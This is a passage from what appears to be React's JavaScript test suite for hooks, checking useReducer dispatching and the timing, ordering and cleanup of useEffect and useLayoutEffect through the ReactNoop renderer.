setCounter] = useState(0);\n\n        if (counter === 0) {\n          React.startTransition(() => {\n            setCounter(c => c + 1);\n          });\n        }\n\n        return <Text text={counter} />;\n      }\n\n      const root = ReactNoop.createRoot();\n      root.render(<App />);\n      await waitForAll([1]);\n      expect(root).toMatchRenderedOutput(<span prop={1} />);\n    });\n  });\n\n  describe('useReducer', () => {\n    it('simple mount and update', async () => {\n      const INCREMENT = 'INCREMENT';\n      const DECREMENT = 'DECREMENT';\n\n      function reducer(state, action) {\n        switch (action) {\n          case 'INCREMENT':\n            return state + 1;\n          case 'DECREMENT':\n            return state - 1;\n          default:\n            return state;\n        }\n      }\n\n      function Counter(props, ref) {\n        const [count, dispatch] = useReducer(reducer, 0);\n        useImperativeHandle(ref, () => ({dispatch}));\n        return <Text text={'Count: ' + count} />;\n      }\n      Counter = forwardRef(Counter);\n      const counter = React.createRef(null);\n      ReactNoop.render(<Counter ref={counter} />);\n      await waitForAll(['Count: 0']);\n      expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Count: 0\" />);\n\n      await act(() => counter.current.dispatch(INCREMENT));\n      assertLog(['Count: 1']);\n      expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Count: 1\" />);\n      await act(() => {\n        counter.current.dispatch(DECREMENT);\n        counter.current.dispatch(DECREMENT);\n        counter.current.dispatch(DECREMENT);\n      });\n\n      assertLog(['Count: -2']);\n      expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Count: -2\" />);\n    });\n\n    it('lazy init', async () => {\n      const INCREMENT = 'INCREMENT';\n      const DECREMENT = 'DECREMENT';\n\n      function reducer(state, action) {\n        switch (action) {\n          case 'INCREMENT':\n            return state + 1;\n          case 'DECREMENT':\n            return state - 1;\n          default:\n            return state;\n        }\n      }\n\n      function Counter(props, ref) {\n        const [count, dispatch] = useReducer(reducer, props, p => {\n          Scheduler.log('Init');\n          return p.initialCount;\n        });\n        useImperativeHandle(ref, () => ({dispatch}));\n        return <Text text={'Count: ' + count} />;\n      }\n      Counter = forwardRef(Counter);\n      const counter = React.createRef(null);\n      ReactNoop.render(<Counter initialCount={10} ref={counter} />);\n      await waitForAll(['Init', 'Count: 10']);\n      expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Count: 10\" />);\n\n      await act(() => counter.current.dispatch(INCREMENT));\n      assertLog(['Count: 11']);\n      expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Count: 11\" />);\n\n      await act(() => {\n        counter.current.dispatch(DECREMENT);\n        counter.current.dispatch(DECREMENT);\n        counter.current.dispatch(DECREMENT);\n      });\n\n      assertLog(['Count: 8']);\n      expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Count: 8\" />);\n    });\n\n    // Regression test for https://github.com/facebook/react/issues/14360\n    it('handles dispatches with mixed priorities', async () => {\n      const INCREMENT = 'INCREMENT';\n\n      function reducer(state, action) {\n        return action === INCREMENT ? state + 1 : state;\n      }\n\n      function Counter(props, ref) {\n        const [count, dispatch] = useReducer(reducer, 0);\n        useImperativeHandle(ref, () => ({dispatch}));\n        return <Text text={'Count: ' + count} />;\n      }\n\n      Counter = forwardRef(Counter);\n      const counter = React.createRef(null);\n      ReactNoop.render(<Counter ref={counter} />);\n\n      await waitForAll(['Count: 0']);\n      expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Count: 0\" />);\n\n      ReactNoop.batchedUpdates(() => {\n        counter.current.dispatch(INCREMENT);\n        counter.current.dispatch(INCREMENT);\n        counter.current.dispatch(INCREMENT);\n      });\n\n      ReactNoop.flushSync(() => {\n        counter.current.dispatch(INCREMENT);\n      });\n      assertLog(['Count: 4']);\n      expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Count: 4\" />);\n    });\n  });\n\n  describe('useEffect', () => {\n    it('simple mount and update', async () => {\n      function Counter(props) {\n        useEffect(() => {\n          Scheduler.log(`Passive effect [${props.count}]`);\n        });\n        return <Text text={'Count: ' + props.count} />;\n      }\n      await act(async () => {\n        ReactNoop.render(<Counter count={0} />, () =>\n          Scheduler.log('Sync effect'),\n        );\n        await waitFor(['Count: 0', 'Sync effect']);\n        expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Count: 0\" />);\n        // Effects are deferred until after the commit\n        await waitForAll(['Passive effect [0]']);\n      });\n\n      await act(async () => {\n        ReactNoop.render(<Counter count={1} />, () =>\n          Scheduler.log('Sync effect'),\n        );\n        await waitFor(['Count: 1', 'Sync effect']);\n        expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Count: 1\" />);\n        // Effects are deferred until after the commit\n        await waitForAll(['Passive effect [1]']);\n      });\n    });\n\n    it('flushes passive effects even with sibling deletions', async () => {\n      function LayoutEffect(props) {\n        useLayoutEffect(() => {\n          Scheduler.log(`Layout effect`);\n        });\n        return <Text text=\"Layout\" />;\n      }\n      function PassiveEffect(props) {\n        useEffect(() => {\n          Scheduler.log(`Passive effect`);\n        }, []);\n        return <Text text=\"Passive\" />;\n      }\n      const passive = <PassiveEffect key=\"p\" />;\n      await act(async () => {\n        ReactNoop.render([<LayoutEffect key=\"l\" />, passive]);\n        await waitFor(['Layout', 'Passive', 'Layout effect']);\n        expect(ReactNoop).toMatchRenderedOutput(\n          <>\n            <span prop=\"Layout\" />\n            <span prop=\"Passive\" />\n          </>,\n        );\n        // Destroying the first child shouldn't prevent the passive effect from\n        // being executed\n        ReactNoop.render([passive]);\n        await waitForAll(['Passive effect']);\n        expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Passive\" />);\n      });\n      // exiting act calls flushPassiveEffects(), but there are none left to flush.\n      assertLog([]);\n    });\n\n    it('flushes passive effects even if siblings schedule an update', async () => {\n      function PassiveEffect(props) {\n        useEffect(() => {\n          Scheduler.log('Passive effect');\n        });\n        return <Text text=\"Passive\" />;\n      }\n      function LayoutEffect(props) {\n        const [count, setCount] = useState(0);\n        useLayoutEffect(() => {\n          // Scheduling work shouldn't interfere with the queued passive effect\n          if (count === 0) {\n            setCount(1);\n          }\n          Scheduler.log('Layout effect ' + count);\n        });\n        return <Text text=\"Layout\" />;\n      }\n\n      ReactNoop.render([<PassiveEffect key=\"p\" />, <LayoutEffect key=\"l\" />]);\n\n      await act(async () => {\n        await waitForAll([\n          'Passive',\n          'Layout',\n          'Layout effect 0',\n          'Passive effect',\n          'Layout',\n          'Layout effect 1',\n        ]);\n      });\n\n      expect(ReactNoop).toMatchRenderedOutput(\n        <>\n          <span prop=\"Passive\" />\n          <span prop=\"Layout\" />\n        </>,\n      );\n    });\n\n    it('flushes passive effects even if siblings schedule a new root', async () => {\n      function PassiveEffect(props) {\n        useEffect(() => {\n          Scheduler.log('Passive effect');\n        }, []);\n        return <Text text=\"Passive\" />;\n      }\n      function LayoutEffect(props) {\n        useLayoutEffect(() => {\n          Scheduler.log('Layout effect');\n          // Scheduling work shouldn't interfere with the queued passive effect\n          ReactNoop.renderToRootWithID(<Text text=\"New Root\" />, 'root2');\n        });\n        return <Text text=\"Layout\" />;\n      }\n      await act(async () => {\n        ReactNoop.render([<PassiveEffect key=\"p\" />, <LayoutEffect key=\"l\" />]);\n        await waitForAll([\n          'Passive',\n          'Layout',\n          'Layout effect',\n          'Passive effect',\n          'New Root',\n        ]);\n        expect(ReactNoop).toMatchRenderedOutput(\n          <>\n            <span prop=\"Passive\" />\n            <span prop=\"Layout\" />\n          </>,\n        );\n      });\n    });\n\n    it(\n      'flushes effects serially by flushing old effects before flushing ' +\n        \"new ones, if they haven't already fired\",\n      async () => {\n        function getCommittedText() {\n          const children = ReactNoop.getChildrenAsJSX();\n          if (children === null) {\n            return null;\n          }\n          return children.props.prop;\n        }\n\n        function Counter(props) {\n          useEffect(() => {\n            Scheduler.log(\n              `Committed state when effect was fired: ${getCommittedText()}`,\n            );\n          });\n          return <Text text={props.count} />;\n        }\n        await act(async () => {\n          ReactNoop.render(<Counter count={0} />, () =>\n            Scheduler.log('Sync effect'),\n          );\n          await waitFor([0, 'Sync effect']);\n          expect(ReactNoop).toMatchRenderedOutput(<span prop={0} />);\n          // Before the effects have a chance to flush, schedule another update\n          ReactNoop.render(<Counter count={1} />, () =>\n            Scheduler.log('Sync effect'),\n          );\n          await waitFor([\n            // The previous effect flushes before the reconciliation\n            'Committed state when effect was fired: 0',\n            1,\n            'Sync effect',\n          ]);\n          expect(ReactNoop).toMatchRenderedOutput(<span prop={1} />);\n        });\n\n        assertLog(['Committed state when effect was fired: 1']);\n      },\n    );\n\n    it('defers passive effect destroy functions during unmount', async () => {\n      function Child({bar, foo}) {\n        React.useEffect(() => {\n          Scheduler.log('passive bar create');\n          return () => {\n            Scheduler.log('passive bar destroy');\n          };\n        }, [bar]);\n        React.useLayoutEffect(() => {\n          Scheduler.log('layout bar create');\n          return () => {\n            Scheduler.log('layout bar destroy');\n          };\n        }, [bar]);\n        React.useEffect(() => {\n          Scheduler.log('passive foo create');\n          return () => {\n            Scheduler.log('passive foo destroy');\n          };\n        }, [foo]);\n        React.useLayoutEffect(() => {\n          Scheduler.log('layout foo create');\n          return () => {\n            Scheduler.log('layout foo destroy');\n          };\n        }, [foo]);\n        Scheduler.log('render');\n        return null;\n      }\n\n      await act(async () => {\n        ReactNoop.render(<Child bar={1} foo={1} />, () =>\n          Scheduler.log('Sync effect'),\n        );\n        await waitFor([\n          'render',\n          'layout bar create',\n          'layout foo create',\n          'Sync effect',\n        ]);\n        // Effects are deferred until after the commit\n        await waitForAll(['passive bar create', 'passive foo create']);\n      });\n\n      // This update exists to test an internal implementation detail:\n      // Effects without updating dependencies lose their layout/passive tag during an update.\n      await act(async () => {\n        ReactNoop.render(<Child bar={1} foo={2} />, () =>\n          Scheduler.log('Sync effect'),\n        );\n        await waitFor([\n          'render',\n          'layout foo destroy',\n          'layout foo create',\n          'Sync effect',\n        ]);\n        // Effects are deferred until after the commit\n        await waitForAll(['passive foo destroy', 'passive foo create']);\n      });\n\n      // Unmount the component and verify that passive destroy functions are deferred until post-commit.\n      await act(async () => {\n        ReactNoop.render(null, () => Scheduler.log('Sync effect'));\n        await waitFor([\n          'layout bar destroy',\n          'layout foo destroy',\n          'Sync effect',\n        ]);\n        // Effects are deferred until after the commit\n        await waitForAll(['passive bar destroy', 'passive foo destroy']);\n      });\n    });\n\n    it('does not warn about state updates for unmounted components with pending passive unmounts', async () => {\n      let completePendingRequest = null;\n      function Component() {\n        Scheduler.log('Component');\n        const [didLoad, setDidLoad] = React.useState(false);\n        React.useLayoutEffect(() => {\n          Scheduler.log('layout create');\n          return () => {\n            Scheduler.log('layout destroy');\n          };\n        }, []);\n        React.useEffect(() => {\n          Scheduler.log('passive create');\n          // Mimic an XHR request with a complete handler that updates state.\n          completePendingRequest = () => setDidLoad(true);\n          return () => {\n            Scheduler.log('passive destroy');\n          };\n        }, []);\n        return didLoad;\n      }\n\n      await act(async () => {\n        ReactNoop.renderToRootWithID(<Component />, 'root', () =>\n          Scheduler.log('Sync effect'),\n        );\n        await waitFor(['Component', 'layout create', 'Sync effect']);\n        ReactNoop.flushPassiveEffects();\n        assertLog(['passive create']);\n\n        // Unmount but don't process pending passive destroy function\n        ReactNoop.unmountRootWithID('root');\n        await waitFor(['layout destroy']);\n\n        // Simulate an XHR completing, which will cause a state update-\n        // but should not log a warning.\n        completePendingRequest();\n\n        ReactNoop.flushPassiveEffects();\n        assertLog(['passive destroy']);\n      });\n    });\n\n    it('does not warn about state updates for unmounted components with pending passive unmounts for alternates', async () => {\n      let setParentState = null;\n      const setChildStates = [];\n\n      function Parent() {\n        const [state, setState] = useState(true);\n        setParentState = setState;\n        Scheduler.log(`Parent ${state} render`);\n        useLayoutEffect(() => {\n          Scheduler.log(`Parent ${state} commit`);\n        });\n        if (state) {\n          return (\n            <>\n              <Child label=\"one\" />\n              <Child label=\"two\" />\n            </>\n          );\n        } else {\n          return null;\n        }\n      }\n\n      function Child({label}) {\n        const [state, setState] = useState(0);\n        useLayoutEffect(() => {\n          Scheduler.log(`Child ${label} commit`);\n        });\n        useEffect(() => {\n          setChildStates.push(setState);\n          Scheduler.log(`Child ${label} passive create`);\n          return () => {\n            Scheduler.log(`Child ${label} passive destroy`);\n          };\n        }, []);\n        Scheduler.log(`Child ${label} render`);\n        return state;\n      }\n\n      // Schedule debounced state update for child (prob a no-op for this test)\n      // later tick: schedule unmount for parent\n      // start process unmount (but don't flush passive effectS)\n      // State update on child\n      await act(async () => {\n        ReactNoop.render(<Parent />);\n        await waitFor([\n          'Parent true render',\n          'Child one render',\n          'Child two render',\n          'Child one commit',\n          'Child two commit',\n          'Parent true commit',\n          'Child one passive create',\n          'Child two passive create',\n        ]);\n\n        // Update children.\n        setChildStates.forEach(setChildState => setChildState(1));\n        await waitFor([\n          'Child one render',\n          'Child two render',\n          'Child one commit',\n          'Child two commit',\n        ]);\n\n        // Schedule another update for children, and partially process it.\n        React.startTransition(() => {\n          setChildStates.forEach(setChildState => setChildState(2));\n        });\n        await waitFor(['Child one render']);\n\n        // Schedule unmount for the parent that unmounts children with pending update.\n        ReactNoop.unstable_runWithPriority(ContinuousEventPriority, () => {\n          setParentState(false);\n        });\n        await waitForPaint(['Parent false render', 'Parent false commit']);\n\n        // Schedule updates for children too (which should be ignored)\n        setChildStates.forEach(setChildState => setChildState(2));\n        await waitForAll([\n          'Child one passive destroy',\n          'Child two passive destroy',\n        ]);\n      });\n    });\n\n    it('does not warn about state updates for unmounted components with no pending passive unmounts', async () => {\n      let completePendingRequest = null;\n      function Component() {\n        Scheduler.log('Component');\n        const [didLoad, setDidLoad] = React.useState(false);\n        React.useLayoutEffect(() => {\n          Scheduler.log('layout create');\n          // Mimic an XHR request with a complete handler that updates state.\n          completePendingRequest = () => setDidLoad(true);\n          return () => {\n            Scheduler.log('layout destroy');\n          };\n        }, []);\n        return didLoad;\n      }\n\n      await act(async () => {\n        ReactNoop.renderToRootWithID(<Component />, 'root', () =>\n          Scheduler.log('Sync effect'),\n        );\n        await waitFor(['Component', 'layout create', 'Sync effect']);\n\n        // Unmount but don't process pending passive destroy function\n        ReactNoop.unmountRootWithID('root');\n        await waitFor(['layout destroy']);\n\n        // Simulate an XHR completing.\n        completePendingRequest();\n      });\n    });\n\n    it('does not warn if there are pending passive unmount effects but not for the current fiber', async () => {\n      let completePendingRequest = null;\n      function ComponentWithXHR() {\n        Scheduler.log('Component');\n        const [didLoad, setDidLoad] = React.useState(false);\n        React.useLayoutEffect(() => {\n          Scheduler.log('a:layout create');\n          return () => {\n            Scheduler.log('a:layout destroy');\n          };\n        }, []);\n        React.useEffect(() => {\n          Scheduler.log('a:passive create');\n          // Mimic an XHR request with a complete handler that updates state.\n          completePendingRequest = () => setDidLoad(true);\n        }, []);\n        return didLoad;\n      }\n\n      function ComponentWithPendingPassiveUnmount() {\n        React.useEffect(() => {\n          Scheduler.log('b:passive create');\n          return () => {\n            Scheduler.log('b:passive destroy');\n          };\n        }, []);\n        return null;\n      }\n\n      await act(async () => {\n        ReactNoop.renderToRootWithID(\n          <>\n            <ComponentWithXHR />\n            <ComponentWithPendingPassiveUnmount />\n          </>,\n          'root',\n          () => Scheduler.log('Sync effect'),\n        );\n        await waitFor(['Component', 'a:layout create', 'Sync effect']);\n        ReactNoop.flushPassiveEffects();\n        assertLog(['a:passive create', 'b:passive create']);\n\n        // Unmount but don't process pending passive destroy function\n        ReactNoop.unmountRootWithID('root');\n        await waitFor(['a:layout destroy']);\n\n        // Simulate an XHR completing in the component without a pending passive effect..\n        completePendingRequest();\n      });\n    });\n\n    it('does not warn if there are updates after pending passive unmount effects have been flushed', async () => {\n      let updaterFunction;\n\n      function Component() {\n        Scheduler.log('Component');\n        const [state, setState] = React.useState(false);\n        updaterFunction = setState;\n        React.useEffect(() => {\n          Scheduler.log('passive create');\n          return () => {\n            Scheduler.log('passive destroy');\n          };\n        }, []);\n        return state;\n      }\n\n      await act(() => {\n        ReactNoop.renderToRootWithID(<Component />, 'root', () =>\n          Scheduler.log('Sync effect'),\n        );\n      });\n      assertLog(['Component', 'Sync effect', 'passive create']);\n\n      ReactNoop.unmountRootWithID('root');\n      await waitForAll(['passive destroy']);\n\n      await act(() => {\n        updaterFunction(true);\n      });\n    });\n\n    it('does not show a warning when a component updates its own state from within passive unmount function', async () => {\n      function Component() {\n        Scheduler.log('Component');\n        const [didLoad, setDidLoad] = React.useState(false);\n        React.useEffect(() => {\n          Scheduler.log('passive create');\n          return () => {\n            setDidLoad(true);\n            Scheduler.log('passive destroy');\n          };\n        }, []);\n        return didLoad;\n      }\n\n      await act(async () => {\n        ReactNoop.renderToRootWithID(<Component />, 'root', () =>\n          Scheduler.log('Sync effect'),\n        );\n        await waitFor(['Component', 'Sync effect', 'passive create']);\n\n        // Unmount but don't process pending passive destroy function\n        ReactNoop.unmountRootWithID('root');\n        await waitForAll(['passive destroy']);\n      });\n    });\n\n    it('does not show a warning when a component updates a child state from within passive unmount function', async () => {\n      function Parent() {\n        Scheduler.log('Parent');\n        const updaterRef = useRef(null);\n        React.useEffect(() => {\n          Scheduler.log('Parent passive create');\n          return () => {\n            updaterRef.current(true);\n            Scheduler.log('Parent passive destroy');\n          };\n        }, []);\n        return <Child updaterRef={updaterRef} />;\n      }\n\n      function Child({updaterRef}) {\n        Scheduler.log('Child');\n        const [state, setState] = React.useState(false);\n        React.useEffect(() => {\n          Scheduler.log('Child passive create');\n          updaterRef.current = setState;\n        }, []);\n        return state;\n      }\n\n      await act(async () => {\n        ReactNoop.renderToRootWithID(<Parent />, 'root');\n        await waitFor([\n          'Parent',\n          'Child',\n          'Child passive create',\n          'Parent passive create',\n        ]);\n\n        // Unmount but don't process pending passive destroy function\n        ReactNoop.unmountRootWithID('root');\n        await waitForAll(['Parent passive destroy']);\n      });\n    });\n\n    it('does not show a warning when a component updates a parents state from within passive unmount function', async () => {\n      function Parent() {\n        const [state, setState] = React.useState(false);\n        Scheduler.log('Parent');\n        return <Child setState={setState} state={state} />;\n      }\n\n      function Child({setState, state}) {\n        Scheduler.log('Child');\n        React.useEffect(() => {\n          Scheduler.log('Child passive create');\n          return () => {\n            Scheduler.log('Child passive destroy');\n            setState(true);\n          };\n        }, []);\n        return state;\n      }\n\n      await act(async () => {\n        ReactNoop.renderToRootWithID(<Parent />, 'root');\n        await waitFor(['Parent', 'Child', 'Child passive create']);\n\n        // Unmount but don't process pending passive destroy function\n        ReactNoop.unmountRootWithID('root');\n        await waitForAll(['Child passive destroy']);\n      });\n    });\n\n    it('updates have async priority', async () => {\n      function Counter(props) {\n        const [count, updateCount] = useState('(empty)');\n        useEffect(() => {\n          Scheduler.log(`Schedule update [${props.count}]`);\n          updateCount(props.count);\n        }, [props.count]);\n        return <Text text={'Count: ' + count} />;\n      }\n      await act(async () => {\n        ReactNoop.render(<Counter count={0} />, () =>\n          Scheduler.log('Sync effect'),\n        );\n        await waitFor(['Count: (empty)', 'Sync effect']);\n        expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Count: (empty)\" />);\n        ReactNoop.flushPassiveEffects();\n        assertLog(['Schedule update [0]']);\n        await waitForAll(['Count: 0']);\n      });\n\n      await act(async () => {\n        ReactNoop.render(<Counter count={1} />, () =>\n          Scheduler.log('Sync effect'),\n        );\n        await waitFor(['Count: 0', 'Sync effect']);\n        expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Count: 0\" />);\n        ReactNoop.flushPassiveEffects();\n        assertLog(['Schedule update [1]']);\n        await waitForAll(['Count: 1']);\n      });\n    });\n\n    it('updates have async priority even if effects are flushed early', async () => {\n      function Counter(props) {\n        const [count, updateCount] = useState('(empty)');\n        useEffect(() => {\n          Scheduler.log(`Schedule update [${props.count}]`);\n          updateCount(props.count);\n        }, [props.count]);\n        return <Text text={'Count: ' + count} />;\n      }\n      await act(async () => {\n        ReactNoop.render(<Counter count={0} />, () =>\n          Scheduler.log('Sync effect'),\n        );\n        await waitFor(['Count: (empty)', 'Sync effect']);\n        expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Count: (empty)\" />);\n\n        // Rendering again should flush the previous commit's effects\n        React.startTransition(() => {\n          ReactNoop.render(<Counter count={1} />, () =>\n            Scheduler.log('Sync effect'),\n          );\n        });\n\n        await waitFor(['Schedule update [0]', 'Count: 0']);\n\n        expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Count: 0\" />);\n        await waitFor([\n          'Count: 0',\n          'Sync effect',\n          'Schedule update [1]',\n          'Count: 1',\n        ]);\n\n        expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Count: 1\" />);\n      });\n    });\n\n    it('does not flush non-discrete passive effects when flushing sync', async () => {\n      let _updateCount;\n      function Counter(props) {\n        const [count, updateCount] = useState(0);\n        _updateCount = updateCount;\n        useEffect(() => {\n          Scheduler.log(`Will set count to 1`);\n          updateCount(1);\n        }, []);\n        return <Text text={'Count: ' + count} />;\n      }\n\n      ReactNoop.render(<Counter count={0} />, () =>\n        Scheduler.log('Sync effect'),\n      );\n      await waitFor(['Count: 0', 'Sync effect']);\n      expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Count: 0\" />);\n      // A flush sync doesn't cause the passive effects to fire.\n      // So we haven't added the other update yet.\n      await act(() => {\n        ReactNoop.flushSync(() => {\n          _updateCount(2);\n        });\n      });\n\n      // As a result we, somewhat surprisingly, commit them in the opposite order.\n      // This should be fine because any non-discrete set of work doesn't guarantee order\n      // and easily could've happened slightly later too.\n      assertLog(['Will set count to 1', 'Count: 1']);\n\n      expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Count: 1\" />);\n    });\n\n    // @gate !disableLegacyMode\n    it(\n      'in legacy mode, useEffect is deferred and updates finish synchronously ' +\n        '(in a single batch)',\n      async () => {\n        function Counter(props) {\n          const [count, updateCount] = useState('(empty)');\n          useEffect(() => {\n            // Update multiple times. These should all be batched together in\n            // a single render.\n            updateCount(props.count);\n            updateCount(props.count);\n            updateCount(props.count);\n            updateCount(props.count);\n            updateCount(props.count);\n            updateCount(props.count);\n          }, [props.count]);\n          return <Text text={'Count: ' + count} />;\n        }\n        await act(() => {\n          ReactNoop.flushSync(() => {\n            ReactNoop.renderLegacySyncRoot(<Counter count={0} />);\n          });\n\n          // Even in legacy mode, effects are deferred until after paint\n          assertLog(['Count: (empty)']);\n          expect(ReactNoop).toMatchRenderedOutput(\n            <span prop=\"Count: (empty)\" />,\n          );\n        });\n\n        // effects get forced on exiting act()\n        // There were multiple updates, but there should only be a\n        // single render\n        assertLog(['Count: 0']);\n        expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Count: 0\" />);\n      },\n    );\n\n    it('flushSync is not allowed', async () => {\n      function Counter(props) {\n        const [count, updateCount] = useState('(empty)');\n        useEffect(() => {\n          Scheduler.log(`Schedule update [${props.count}]`);\n          ReactNoop.flushSync(() => {\n            updateCount(props.count);\n          });\n          assertLog([`Schedule update [${props.count}]`]);\n          assertConsoleErrorDev([\n            'flushSync was called from inside a lifecycle method. ' +\n              'React cannot flush when React is already rendering. ' +\n              'Consider moving this call to a scheduler task or micro task.\\n' +\n              '    in Counter (at **)',\n          ]);\n          // This shouldn't flush synchronously.\n          expect(ReactNoop).not.toMatchRenderedOutput(\n            <span prop={`Count: ${props.count}`} />,\n          );\n        }, [props.count]);\n        return <Text text={'Count: ' + count} />;\n      }\n      await act(async () => {\n        ReactNoop.render(<Counter count={0} />, () =>\n          Scheduler.log('Sync effect'),\n        );\n        await waitFor(['Count: (empty)', 'Sync effect']);\n        expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Count: (empty)\" />);\n      });\n\n      assertLog([`Count: 0`]);\n      expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Count: 0\" />);\n    });\n\n    it('unmounts previous effect', async () => {\n      function Counter(props) {\n        useEffect(() => {\n          Scheduler.log(`Did create [${props.count}]`);\n          return () => {\n            Scheduler.log(`Did destroy [${props.count}]`);\n          };\n        });\n        return <Text text={'Count: ' + props.count} />;\n      }\n      await act(async () => {\n        ReactNoop.render(<Counter count={0} />, () =>\n          Scheduler.log('Sync effect'),\n        );\n        await waitFor(['Count: 0', 'Sync effect']);\n        expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Count: 0\" />);\n      });\n\n      assertLog(['Did create [0]']);\n\n      await act(async () => {\n        ReactNoop.render(<Counter count={1} />, () =>\n          Scheduler.log('Sync effect'),\n        );\n        await waitFor(['Count: 1', 'Sync effect']);\n        expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Count: 1\" />);\n      });\n\n      assertLog(['Did destroy [0]', 'Did create [1]']);\n    });\n\n    it('unmounts on deletion', async () => {\n      function Counter(props) {\n        useEffect(() => {\n          Scheduler.log(`Did create [${props.count}]`);\n          return () => {\n            Scheduler.log(`Did destroy [${props.count}]`);\n          };\n        });\n        return <Text text={'Count: ' + props.count} />;\n      }\n      await act(async () => {\n        ReactNoop.render(<Counter count={0} />, () =>\n          Scheduler.log('Sync effect'),\n        );\n        await waitFor(['Count: 0', 'Sync effect']);\n        expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Count: 0\" />);\n      });\n\n      assertLog(['Did create [0]']);\n\n      ReactNoop.render(null);\n      await waitForAll(['Did destroy [0]']);\n      expect(ReactNoop).toMatchRenderedOutput(null);\n    });\n\n    it('unmounts on deletion after skipped effect', async () => {\n      function Counter(props) {\n        useEffect(() => {\n          Scheduler.log(`Did create [${props.count}]`);\n          return () => {\n            Scheduler.log(`Did destroy [${props.count}]`);\n          };\n        }, []);\n        return <Text text={'Count: ' + props.count} />;\n      }\n      await act(async () => {\n        ReactNoop.render(<Counter count={0} />, () =>\n          Scheduler.log('Sync effect'),\n        );\n        await waitFor(['Count: 0', 'Sync effect']);\n        expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Count: 0\" />);\n      });\n\n      assertLog(['Did create [0]']);\n\n      await act(async () => {\n        ReactNoop.render(<Counter count={1} />, () =>\n          Scheduler.log('Sync effect'),\n        );\n        await waitFor(['Count: 1', 'Sync effect']);\n        expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Count: 1\" />);\n      });\n\n      assertLog([]);\n\n      ReactNoop.render(null);\n      await waitForAll(['Did destroy [0]']);\n      expect(ReactNoop).toMatchRenderedOutput(null);\n    });\n\n    it('always fires effects if no dependencies are provided', async () => {\n      function effect() {\n        Scheduler.log(`Did create`);\n        return () => {\n          Scheduler.log(`Did destroy`);\n        };\n      }\n      function Counter(props) {\n        useEffect(effect);\n        return <Text text={'Count: ' + props.count} />;\n      }\n      await act(async () => {\n        ReactNoop.render(<Counter count={0} />, () =>\n          Scheduler.log('Sync effect'),\n        );\n        await waitFor(['Count: 0', 'Sync effect']);\n        expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Count: 0\" />);\n      });\n\n      assertLog(['Did create']);\n\n      await act(async () => {\n        ReactNoop.render(<Counter count={1} />, () =>\n          Scheduler.log('Sync effect'),\n        );\n        await waitFor(['Count: 1', 'Sync effect']);\n        expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Count: 1\" />);\n      });\n\n      assertLog(['Did destroy', 'Did create']);\n\n      ReactNoop.render(null);\n      await waitForAll(['Did destroy']);\n      expect(ReactNoop).toMatchRenderedOutput(null);\n    });\n\n    it('skips effect if inputs have not changed', async () => {\n      function Counter(props) {\n        const text = `${props.label}: ${props.count}`;\n        useEffect(() => {\n          Scheduler.log(`Did create [${text}]`);\n          return () => {\n            Scheduler.log(`Did destroy [${text}]`);\n          };\n        }, [props.label, props.count]);\n        return <Text text={text} />;\n      }\n      await act(async () => {\n        ReactNoop.render(<Counter label=\"Count\" count={0} />, () =>\n          Scheduler.log('Sync effect'),\n        );\n        await waitFor(['Count: 0', 'Sync effect']);\n      });\n\n      assertLog(['Did create [Count: 0]']);\n      expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Count: 0\" />);\n\n      await act(async () => {\n        ReactNoop.render(<Counter label=\"Count\" count={1} />, () =>\n          Scheduler.log('Sync effect'),\n        );\n        // Count changed\n        await waitFor(['Count: 1', 'Sync effect']);\n        expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Count: 1\" />);\n      });\n\n      assertLog(['Did destroy [Count: 0]', 'Did create [Count: 1]']);\n\n      await act(async () => {\n        ReactNoop.render(<Counter label=\"Count\" count={1} />, () =>\n          Scheduler.log('Sync effect'),\n        );\n        // Nothing changed, so no effect should have fired\n        await waitFor(['Count: 1', 'Sync effect']);\n      });\n\n      assertLog([]);\n      expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Count: 1\" />);\n\n      await act(async () => {\n        ReactNoop.render(<Counter label=\"Total\" count={1} />, () =>\n          Scheduler.log('Sync effect'),\n        );\n        // Label changed\n        await waitFor(['Total: 1', 'Sync effect']);\n        expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Total: 1\" />);\n      });\n\n      assertLog(['Did destroy [Count: 1]', 'Did create [Total: 1]']);\n    });\n\n    it('multiple effects', async () => {\n      function Counter(props) {\n        useEffect(() => {\n          Scheduler.log(`Did commit 1 [${props.count}]`);\n        });\n        useEffect(() => {\n          Scheduler.log(`Did commit 2 [${props.count}]`);\n        });\n        return <Text text={'Count: ' + props.count} />;\n      }\n      await act(async () => {\n        ReactNoop.render(<Counter count={0} />, () =>\n          Scheduler.log('Sync effect'),\n        );\n        await waitFor(['Count: 0', 'Sync effect']);\n        expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Count: 0\" />);\n      });\n\n      assertLog(['Did commit 1 [0]', 'Did commit 2 [0]']);\n\n      await act(async () => {\n        ReactNoop.render(<Counter count={1} />, () =>\n          Scheduler.log('Sync effect'),\n        );\n        await waitFor(['Count: 1', 'Sync effect']);\n        expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Count: 1\" />);\n      });\n      assertLog(['Did commit 1 [1]', 'Did commit 2 